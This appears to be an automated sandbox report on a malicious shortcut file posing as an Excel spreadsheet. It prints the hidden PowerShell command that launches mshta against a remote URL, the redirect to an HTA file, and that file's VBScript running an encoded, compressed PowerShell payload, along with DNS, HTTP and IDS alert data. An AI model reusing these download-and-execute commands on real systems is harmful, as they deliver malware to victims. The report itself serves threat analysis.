                                                              SHA-512:F525182F10B82C5C791180CEFFA6FEE5D797F664C1104AB8548BEFFC70CD815063CA04FC703D4ECABB67C64D27EAD98B50DBE4842711ED0EEEE4B1D48C815913
                                                              Malicious:false
                                                              Preview:...................................FL..................F.`.. ...U..iL...........(B.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&......-/.v.......kL..............2.....nZ.j .______~1.LNK..h......gZ8TnZ.j....m.....................C.)._._._._. ._._._._._._...x.l.s...l.n.k...b.i.n...l.n.k.......a...............-.......`...........K.)......C:\Users\user\Desktop\____ ______.xls.lnk.bin.lnk..?.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.E.X.C.E.L...E.X.E.........%ProgramFiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE........................................................................................................................................................................................................%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.E.X.C.E.L...E.X.E..............................................................

                                                              C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b33909ca01e9e943.customDestinations-ms (copy)

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):5439
                                                              Entropy (8bit):3.519300179613719
                                                              Encrypted:false
                                                              SSDEEP:48:Uh1BotZ5F1dCZxIXuN1zdZx/tpKAwlRsSogZoGBSNpKAwl4sSogZoGB21:UhLoPvFuN1LpKAwNH/BqpKAwOH/Bo
                                                              MD5:604A3EC11F0F60879CC5688E66EF31B6
                                                              SHA1:F54555E344CDFD48DAAB77093DC05EA72AC5E15E
                                                              SHA-256:2B57E9D6ED61B263386542CB65892D4F71112B3D5A7B7CAC2889004198259A52
                                                              SHA-512:F525182F10B82C5C791180CEFFA6FEE5D797F664C1104AB8548BEFFC70CD815063CA04FC703D4ECABB67C64D27EAD98B50DBE4842711ED0EEEE4B1D48C815913
                                                              Malicious:false
                                                              Preview:...................................FL..................F.`.. ...U..iL...........(B.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&......-/.v.......kL..............2.....nZ.j .______~1.LNK..h......gZ8TnZ.j....m.....................C.)._._._._. ._._._._._._...x.l.s...l.n.k...b.i.n...l.n.k.......a...............-.......`...........K.)......C:\Users\user\Desktop\____ ______.xls.lnk.bin.lnk..?.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.E.X.C.E.L...E.X.E.........%ProgramFiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE........................................................................................................................................................................................................%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e.\.r.o.o.t.\.O.f.f.i.c.e.1.6.\.E.X.C.E.L...E.X.E..............................................................

                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                              Download File
                                                              Process:C:\Windows\System32\svchost.exe
                                                              File Type:JSON data
                                                              Category:dropped
                                                              Size (bytes):55
                                                              Entropy (8bit):4.306461250274409
                                                              Encrypted:false
                                                              SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                              MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                              SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                              SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                              SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                              Malicious:false
                                                              Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                              Static File Info

                                                              General

                                                              File type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=1, Archive, ctime=Mon Jul 13 22:32:37 2009, mtime=Mon Jul 13 22:32:37 2009, atime=Tue Jul 14 00:14:24 2009, length=452608, window=hide
                                                              Entropy (8bit):3.4833804745249153
                                                              TrID:
                                                              • Windows Shortcut (20020/1) 100.00%
                                                              File name:____ ______.xls.lnk.bin.lnk
                                                              File size:2'709 bytes
                                                              MD5:b4daab40e7fdd5199b16314565bdebfd
                                                              SHA1:cf2023322ea444d571a64449daf3507060a466c3
                                                              SHA256:3d7b626032ae4cf35965ddddde19df6653342090b76d97bfa420b82776597a4c
                                                              SHA512:dcb480cc4ba96fa0c05dcfbfb500bf2ff92724e40006b5b68992bdda8e33f3ee2b0f81d6206e402ca365932aa1e8d3e2154b526404467ed9abba9bfd9d2112b9
                                                              SSDEEP:48:8v26cDog+9+ueHZmPdNZxmfDkfbN1hCZxDHeD+aS5:8+6cDYmHl+bN1eeD+
                                                              TLSH:4151ED202BFD5B24F2FA4A354C77A7716932FD04DE209AAF0294490D6876B10D978F7B
                                                              File Content Preview:L..................F.@.. ......4.......4.....'.l ................................P.O. .:i.....+00.../C:\...................R.1.....jZ.l..Windows.<........:..jZ.l*.........................W.i.n.d.o.w.s.....V.1.....lZlu..System32..>........:..lZlu*.........

                                                              File Icon

                                                              Icon Hash:31d5a5a4a4aba98d

                                                              Static Windows Shortcut Info

                                                              General

                                                              Relative Path:..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Command Line Argument:-WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
                                                              Icon location:C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE

                                                              Network Behavior

                                                              Suricata IDS Alerts

                                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                              2025-03-14T14:21:16.390629+01002024449ET EXPLOIT SUSPICIOUS Possible CVE-2017-0199 IE7/NoCookie/Referer HTA dl1192.168.2.44971991.218.228.2680TCP
                                                              2025-03-14T14:21:22.325494+01002816701ETPRO MALWARE Possible Malicious VBScript calling PowerShell over HTTP191.218.228.2680192.168.2.449719TCP

                                                              Network Port Distribution

                                                              TCP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Mar 14, 2025 14:21:14.361875057 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:14.361913919 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:14.361980915 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:14.374660969 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:14.374696970 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.013550043 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.013624907 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.070826054 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.070847988 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.071296930 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.071381092 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.074023962 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.120316982 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.604156017 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.604300976 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.604329109 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.604392052 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.612201929 CET49718443192.168.2.4172.67.160.19
                                                              Mar 14, 2025 14:21:15.612251043 CET44349718172.67.160.19192.168.2.4
                                                              Mar 14, 2025 14:21:15.670461893 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:15.675246954 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:15.675333977 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:15.675513029 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:15.680160999 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390547037 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390564919 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390575886 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390588045 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390599012 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390610933 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390620947 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390629053 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:16.390633106 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:16.390671968 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:16.390672922 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:22.325494051 CET804971991.218.228.26192.168.2.4
                                                              Mar 14, 2025 14:21:22.325576067 CET4971980192.168.2.491.218.228.26
                                                              Mar 14, 2025 14:21:26.601223946 CET497268443192.168.2.4190.2.146.205
                                                              Mar 14, 2025 14:21:26.605906010 CET844349726190.2.146.205192.168.2.4
                                                              Mar 14, 2025 14:21:26.605993986 CET497268443192.168.2.4190.2.146.205
                                                              Mar 14, 2025 14:21:26.653542995 CET497268443192.168.2.4190.2.146.205
                                                              Mar 14, 2025 14:21:26.658198118 CET844349726190.2.146.205192.168.2.4
                                                              Mar 14, 2025 14:21:30.664555073 CET497268443192.168.2.4190.2.146.205
                                                              Mar 14, 2025 14:22:47.557029963 CET4971980192.168.2.491.218.228.26

                                                              UDP Packets

                                                              TimestampSource PortDest PortSource IPDest IP
                                                              Mar 14, 2025 14:21:14.327955961 CET5783753192.168.2.41.1.1.1
                                                              Mar 14, 2025 14:21:14.350992918 CET53578371.1.1.1192.168.2.4
                                                              Mar 14, 2025 14:21:15.628173113 CET5453753192.168.2.41.1.1.1
                                                              Mar 14, 2025 14:21:15.668852091 CET53545371.1.1.1192.168.2.4
                                                              Mar 14, 2025 14:21:26.488897085 CET5292553192.168.2.41.1.1.1
                                                              Mar 14, 2025 14:21:26.571422100 CET53529251.1.1.1192.168.2.4

                                                              DNS Queries

                                                              TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                              Mar 14, 2025 14:21:14.327955961 CET192.168.2.41.1.1.10xa998Standard query (0)iplogger.cnA (IP address)IN (0x0001)false
                                                              Mar 14, 2025 14:21:15.628173113 CET192.168.2.41.1.1.10x498bStandard query (0)ecols.ruA (IP address)IN (0x0001)false
                                                              Mar 14, 2025 14:21:26.488897085 CET192.168.2.41.1.1.10x47afStandard query (0)mcnn.ruA (IP address)IN (0x0001)false

                                                              DNS Answers

                                                              TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                              Mar 14, 2025 14:21:14.350992918 CET1.1.1.1192.168.2.40xa998No error (0)iplogger.cn172.67.160.19A (IP address)IN (0x0001)false
                                                              Mar 14, 2025 14:21:14.350992918 CET1.1.1.1192.168.2.40xa998No error (0)iplogger.cn104.21.14.168A (IP address)IN (0x0001)false
                                                              Mar 14, 2025 14:21:15.668852091 CET1.1.1.1192.168.2.40x498bNo error (0)ecols.ru91.218.228.26A (IP address)IN (0x0001)false
                                                              Mar 14, 2025 14:21:26.571422100 CET1.1.1.1192.168.2.40x47afNo error (0)mcnn.ru190.2.146.205A (IP address)IN (0x0001)false

                                                              HTTP Request Dependency Graph

                                                              • iplogger.cn
                                                              • ecols.ru

                                                              HTTP Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              0192.168.2.44971991.218.228.26807472C:\Windows\System32\mshta.exe
                                                              TimestampBytes transferredDirectionData
                                                              Mar 14, 2025 14:21:15.675513029 CET321OUTGET /ecols.hta HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Connection: Keep-Alive
                                                              Host: ecols.ru
                                                              Mar 14, 2025 14:21:16.390547037 CET1236INHTTP/1.1 200 OK
                                                              Connection: Keep-Alive
                                                              Keep-Alive: timeout=5, max=100
                                                              content-type: application/octet-stream
                                                              last-modified: Tue, 11 Mar 2025 22:03:40 GMT
                                                              etag: "1e77-67d0b33c-f90449910bed9da6;;;"
                                                              accept-ranges: bytes
                                                              content-length: 7799
                                                              date: Fri, 14 Mar 2025 13:21:16 GMT
                                                              server: LiteSpeed
                                                              Data Raw: 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 56 42 53 63 72 69 70 74 22 3e 0a 09 46 75 6e 63 74 69 6f 6e 20 76 61 72 5f 66 75 6e 63 28 29 0a 09 09 44 69 6d 20 76 61 72 5f 73 68 65 6c 6c 0a 09 09 53 65 74 20 76 61 72 5f 73 68 65 6c 6c 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28 22 57 73 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 0a 09 09 76 61 72 5f 73 68 65 6c 6c 2e 72 75 6e 20 22 70 6f 77 65 72 73 68 65 6c 6c 20 2d 6e 6f 70 20 2d 77 20 68 69 64 64 65 6e 20 2d 65 6e 63 6f 64 65 64 63 6f 6d 6d 61 6e 64 20 4a 41 42 7a 41 44 30 41 54 67 42 6c 41 48 63 41 4c 51 42 50 41 47 49 41 61 67 42 6c 41 47 4d 41 64 41 41 67 41 45 6b 41 54 77 41 75 41 45 30 41 5a 51 42 74 41 47 38 41 63 67 42 35 41 46 4d 41 64 41 42 79 41 47 55 41 59 51 42 74 41 43 67 41 4c 41 42 62 41 45 4d 41 62 77 42 75 41 48 59 41 5a 51 42 79 41 48 51 41 58 51 41 36 41 44 6f 41 52 67 42 79 41 47 38 41 62 51 42 43 41 47 45 41 63 77 42 6c 41 44 59 41 4e 41 42 54 41 48 51 41 63 67 42 70 41 47 34 41 5a 77 41 6f 41 43 49 41 53 41 41 30 41 [TRUNCATED]
                                                              Data Ascii: <script language="VBScript">Function var_func()Dim var_shellSet var_shell = CreateObject("Wscript.Shell")var_shell.run "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFc
                                                              Mar 14, 2025 14:21:16.390564919 CET224INData Raw: 41 54 51 42 55 41 47 49 41 62 77 41 31 41 47 4d 41 64 41 42 4a 41 48 55 41 64 67 42 52 41 46 4d 41 59 77 42 43 41 46 45 41 4e 77 42 5a 41 47 30 41 54 67 42 4a 41 47 6f 41 4e 77 42 6a 41 46 63 41 62 41 41 33 41 48 63 41 4c 77 42 51 41 46 55 41 63
                                                              Data Ascii: ATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFM
                                                              Mar 14, 2025 14:21:16.390575886 CET1236INData Raw: 41 64 77 42 31 41 47 59 41 64 41 42 31 41 46 63 41 59 77 42 61 41 47 45 41 4c 77 42 43 41 45 73 41 56 41 42 61 41 48 63 41 61 51 42 71 41 46 55 41 4e 51 42 30 41 45 73 41 4d 77 42 44 41 47 63 41 65 41 42 7a 41 47 6f 41 64 77 42 6f 41 44 59 41 63
                                                              Data Ascii: AdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQw
                                                              Mar 14, 2025 14:21:16.390588045 CET1236INData Raw: 61 41 46 41 41 64 41 42 49 41 47 4d 41 53 77 42 33 41 45 34 41 4e 51 41 31 41 44 51 41 51 51 42 4c 41 47 63 41 61 51 42 4b 41 43 73 41 63 51 41 35 41 47 63 41 61 67 42 74 41 47 51 41 57 51 42 78 41 44 41 41 63 51 42 43 41 47 63 41 63 67 42 69 41
                                                              Data Ascii: aAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAE
                                                              Mar 14, 2025 14:21:16.390599012 CET1236INData Raw: 41 61 51 41 76 41 44 45 41 52 41 42 68 41 47 51 41 4f 41 42 59 41 47 51 41 4d 51 42 33 41 48 59 41 61 41 42 51 41 45 55 41 4c 77 42 77 41 45 51 41 4d 41 42 59 41 47 6f 41 61 77 42 44 41 48 55 41 4d 67 41 30 41 47 30 41 51 77 42 6d 41 48 55 41 59
                                                              Data Ascii: AaQAvADEARABhAGQAOABYAGQAMQB3AHYAaABQAEUALwBwAEQAMABYAGoAawBDAHUAMgA0AG0AQwBmAHUAYQAwAGsARABEAHEAbwBMAGwAcwBaADAAMwBTAFIAWgBaADcAeQBPACsAbgBWAHcAYgBOAEQASwBhADUASwBrACsARgBTAEQAVQBDAFIAMQA0AHkAbQBqAGgAUwBYADIAOQB6ADgAQQBuADgATQBwAHAARABuAFgAYg
                                                              Mar 14, 2025 14:21:16.390610933 CET1236INData Raw: 6c 41 48 4d 41 53 51 42 33 41 48 6f 41 62 51 42 45 41 45 63 41 4d 67 42 5a 41 47 6f 41 52 41 42 50 41 47 63 41 4e 51 42 75 41 44 45 41 64 51 42 42 41 47 30 41 61 67 42 71 41 47 63 41 4d 67 41 76 41 48 6f 41 4d 41 41 7a 41 48 41 41 55 77 42 45 41
                                                              Data Ascii: lAHMASQB3AHoAbQBEAEcAMgBZAGoARABPAGcANQBuADEAdQBBAG0AagBqAGcAMgAvAHoAMAAzAHAAUwBEAEcAMQB3AC8ASQA0AHYAMQA2AGEAZgBuAGUAcwBZAGQAVQBFAFAASwB5AEcAbgBYAHQAVABvAEoAVQBaADMAUgA0AFAAUgBBAGsASgBHAFcAMwB4AG0AYQA5AHcAKwB0AG8AWQByAGgAVgAxAGsATABlAGkAUgA3AC
                                                              Mar 14, 2025 14:21:16.390620947 CET1236INData Raw: 41 54 77 41 79 41 45 30 41 54 77 42 77 41 48 49 41 51 77 42 34 41 47 34 41 64 51 41 34 41 48 67 41 4e 51 42 32 41 46 6b 41 4d 51 42 54 41 47 51 41 5a 41 41 32 41 44 49 41 57 41 42 47 41 44 6b 41 53 77 42 50 41 47 4d 41 61 67 42 34 41 44 55 41 55
                                                              Data Ascii: ATwAyAE0ATwBwAHIAQwB4AG4AdQA4AHgANQB2AFkAMQBTAGQAZAA2ADIAWABGADkASwBPAGMAagB4ADUAUQBCAGQAOABmAEsATwBmAEwARwBiAFEAcABzADEASgA3AFEANgBtAFQANQB1AEIAaQB0AEcAOQB0ADIANwB1ADYASgB1AHIAYwBJAFkATwBwAEgAWAAxACsASgA2AC8AeQBkAFYARABLADQAeABvAFUANgAxAEMAUw
                                                              Mar 14, 2025 14:21:16.390633106 CET463INData Raw: 69 41 43 38 41 51 67 42 52 41 46 41 41 61 51 42 6d 41 48 67 41 53 41 41 72 41 45 51 41 55 51 42 42 41 45 45 41 49 67 41 70 41 43 6b 41 4f 77 42 4a 41 45 55 41 57 41 41 67 41 43 67 41 54 67 42 6c 41 48 63 41 4c 51 42 50 41 47 49 41 61 67 42 6c 41
                                                              Data Ascii: iAC8AQgBRAFAAaQBmAHgASAArAEQAUQBBAEEAIgApACkAOwBJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AKAAkAHMALABbAE


                                                              HTTPS Proxied Packets

                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                              0192.168.2.449718172.67.160.194437472C:\Windows\System32\mshta.exe
                                                              TimestampBytes transferredDirectionData
                                                              2025-03-14 13:21:15 UTC330OUTGET /forensicsas.png HTTP/1.1
                                                              Accept: */*
                                                              Accept-Language: en-CH
                                                              UA-CPU: AMD64
                                                              Accept-Encoding: gzip, deflate
                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                              Host: iplogger.cn
                                                              Connection: Keep-Alive
                                                              2025-03-14 13:21:15 UTC1194INHTTP/1.1 302 Found
                                                              Date: Fri, 14 Mar 2025 13:21:15 GMT
                                                              Content-Type: text/html; charset=UTF-8
                                                              Transfer-Encoding: chunked
                                                              Connection: close
                                                              location: http://ecols.ru/ecols.hta
                                                              Set-Cookie: 58120481137264061=3; expires=Sat, 14 Mar 2026 13:21:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              Set-Cookie: clhf03028ja=8.46.123.189; expires=Sat, 14 Mar 2026 13:21:15 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict
                                                              memory: 0.43221282958984375
                                                              expires: Fri, 14 Mar 2025 13:21:15 +0000
                                                              Cache-Control: no-store, no-cache, must-revalidate
                                                              strict-transport-security: max-age=604800
                                                              strict-transport-security: max-age=31536000
                                                              content-security-policy: img-src https: data:; upgrade-insecure-requests
                                                              x-frame-options: SAMEORIGIN
                                                              cf-cache-status: BYPASS
                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BzaPzpAgQh9yBwSzrf%2FX4jLBjwq4Rh0JAh11fTcn7onz9PNIN76jUXt2b3ud30wUnMsL8NbZMDRtLeJOpq6hJl55KQASKW%2BzsnpYkQcH2orFGoA2Wr9z6mSzPLRlnw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                              Server: cloudflare
                                                              CF-RAY: 920412b58d6a005e-EWR
                                                              alt-svc: h3=":443"; ma=86400
                                                              2025-03-14 13:21:15 UTC215INData Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 38 36 37 26 6d 69 6e 5f 72 74 74 3d 31 36 37 38 26 72 74 74 5f 76 61 72 3d 37 30 30 37 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 39 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 31 26 73 65 6e 74 5f 62 79 74 65 73 3d 34 30 39 39 26 72 65 63 76 5f 62 79 74 65 73 3d 39 31 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 32 34 32 32 38 26 63 77 6e 64 3d 31 32 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 36 66 30 33 31 64 62 31 35 32 65 37 30 34 31 37 26 74 73 3d 37 32 35 26 78 3d 30 22 0d 0a 0d 0a
                                                              Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=4867&min_rtt=1678&rtt_var=7007&sent=6&recv=9&lost=0&retrans=1&sent_bytes=4099&recv_bytes=916&delivery_rate=324228&cwnd=128&unsent_bytes=0&cid=6f031db152e70417&ts=725&x=0"
                                                              2025-03-14 13:21:15 UTC5INData Raw: 30 0d 0a 0d 0a
                                                              Data Ascii: 0


                                                              Statistics

                                                              CPU Usage

                                                              Click to jump to process

                                                              Memory Usage

                                                              Click to jump to process

                                                              High Level Behavior Distribution

                                                              Click to dive into process behavior distribution

                                                              Behavior

                                                              Click to jump to process

                                                              System Behavior

                                                              General

                                                              Target ID:0
                                                              Start time:09:21:10
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'"
                                                              Imagebase:0x7ff7016f0000
                                                              File size:452'608 bytes
                                                              MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:1
                                                              Start time:09:21:10
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\conhost.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                              Imagebase:0x7ff62fc20000
                                                              File size:862'208 bytes
                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Reputation:high
                                                              Has exited:true

                                                              General

                                                              Target ID:2
                                                              Start time:09:21:13
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\mshta.exe
                                                              Wow64 process (32bit):false
                                                              Commandline:"C:\Windows\system32\mshta.exe" https://iplogger.cn/forensicsas.png
                                                              Imagebase:0x7ff63ac60000
                                                              File size:14'848 bytes
                                                              MD5 hash:0B4340ED812DC82CE636C00FA5C9BEF2
                                                              Has elevated privileges:true
                                                              Has administrator privileges:true
                                                              Programmed in:C, C++ or other language
                                                              Yara matches:
                                                              • Rule: WiltedTulip_WindowsTask, Description: Detects hack tool used in Operation Wilted Tulip - Windows Tasks, Source: 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                              • Rule: WiltedTulip_WindowsTask, Description: Detects hack tool used in Operation Wilted Tulip - Windows Tasks, Source: 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth
                                                              Reputation:moderate
                                                              Has exited:true

                                                              General

                                                              Target ID:3
                                                              Start time:09:21:16
                                                              Start date:14/03/2025
                                                              Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              Wow64 process (32bit):false
